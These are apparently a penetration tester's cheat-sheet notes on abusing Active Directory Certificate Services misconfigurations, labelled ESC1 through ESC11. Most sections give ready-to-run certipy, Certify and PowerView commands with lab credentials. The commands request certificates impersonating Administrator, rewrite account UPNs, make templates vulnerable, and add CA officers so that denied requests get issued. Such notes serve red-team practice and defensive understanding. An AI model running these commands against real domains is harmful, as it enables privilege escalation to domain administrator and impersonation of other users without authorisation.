AD Certificate Services

ESC1

• This ESC allows us to specify an alternate SAN for the request on behalf of any other domain user.

  • certipy-ad req -username 'sam' -password 'asdf123' -dns dc01 -target-ip 10.10.176.149 -ca DC01-CA -template 'ESC!' -upn '[e-mail]' -key-size 4096

  • .\\Certify.exe request /ca:LAB-DC.lab.local\\lab-LAB-DC-CA /template:ESC1 /altname:[e-mail]

• Check for which groups may enroll, such as Domain Computers

  • Check keysize and auth formatting

  • DNS name may be necessary - just set up hosts

ESC2

• EKU allows Any Purpose and EnrolleeSuppliesSubject

  • The same as ESC1

ESC3

• Certificate Request Agent EKU. Will create a certificate we can use to request ANY OTHER TEMPLATE on behalf of another user.

• Request ESC3 template

  • certipy req -u '[e-mail]' -p 'Password123!' -ca 'lab-LAB-DC-CA' -template 'ESC3'

• Request any template on behalf of another user, including built-in User

  • certipy req -u '[e-mail]' -p 'Password123!' -ca lab-LAB-DC-CA -template 'User' -on-behalf-of 'lab\\administrator' -pfx blwasp.pfx

ESC6

• If EDITF_ATTRIBUTESUBJECTALTNAME2 is set on the CA - the enrollee may supply subject names to any certificate.

• You can ESC1 for ANY template

ESC9

• If strict mapping is not in place (StrongCertificateBindingEnforcement is not 2, or CertificateMappingMethods is 0x4 for the cert) and we can write to an account’s UPN, we may use the victim account to request a cert on behalf of anyone.

• Update owned account’s UPN

  • certipy account update -u '[e-mail]' -p 'Password123!' -user user2 -upn [e-mail]

  • Set-DomainObject user2 -Set @{'userPrincipalName'='[e-mail]'} -Verbose

• Request cert with owned user

  • certipy req -u '[e-mail]' -hashes 2b576acbe6bcfda7294d6bd18041b8fe -ca lab-LAB-DC-CA -template ESC9

• Revert UPN and auth

  • certipy account update -u '[e-mail]' -p 'Password123!' -user user2 -upn [e-mail]

ESC10

• Essentially just ESC9.

• ESC9 abuse may be used as a computer account for RBCD or a user account for account owns.

DACL Abuse (CHECK CA CONF)

ESC4

• If you have valid DACL entries and control over a template, you may edit it to become vulnerable to ESC1.

  • certipy template -u '[e-mail]' -p 'Password123!' -template ESC4 -save-old

  • certipy req -u '[e-mail]' -p 'Password123!' -ca lab-LAB-DC-CA -template ESC4 -upn Administrator

ESC5

• If we compromise any of these, we can win:

  • The CA’s AD Computer

  • The CA’s RPC or DCOM server

  • Any descendant AD object or container in the container CN=Public Key Services,CN=Services,CN=Configuration,DC=<COMPANY>,DC=<COM> (e.g., the Certificate Templates container, Certification Authorities container, the NTAuthCertificates object, the Enrollment Services Container, etc.)

• If you have local Admin on CA, just carry out ESC7 below (without adding an officer).

ESC7

• This is a DACL entry abuse one. The issue is that updating EKU and EnrolleeSuppliesSubject keys requires the CA to be restarted before application.

• ManageCA to ManageCertificates via Add Officer

  • certipy ca -u '[e-mail]' -p 'Password123!' -ca lab-LAB-DC-CA -add-officer BlWasp

• Submit a SPN cert request (IT WILL FAIL!)

  • certipy req -u '[e-mail]' -p 'Password123!' -ca lab-LAB-DC-CA -template SubCA -upn Administrator

• Save the request ID and then reapprove

  • certipy ca -u '[e-mail]' -p 'Password123!' -ca lab-LAB-DC-CA -issue-request 31

  • certipy req -u '[e-mail]' -p 'Password123!' -ca lab-LAB-DC-CA -retrieve 31

NTLM Relays to ADCS Enrollment

• AD CS services support HTTP enrolment methods and even includes a GUI. This endpoint is usually found at http[s]://<hostname>/certsrv**.**

• You cannot NTLM relay to the originating machine! If CS services are hosted on a single DC, you cannot use this to get a DC$ TGT!

ESC11

• Although web enrollment is possible, RPC is too if misconfigured!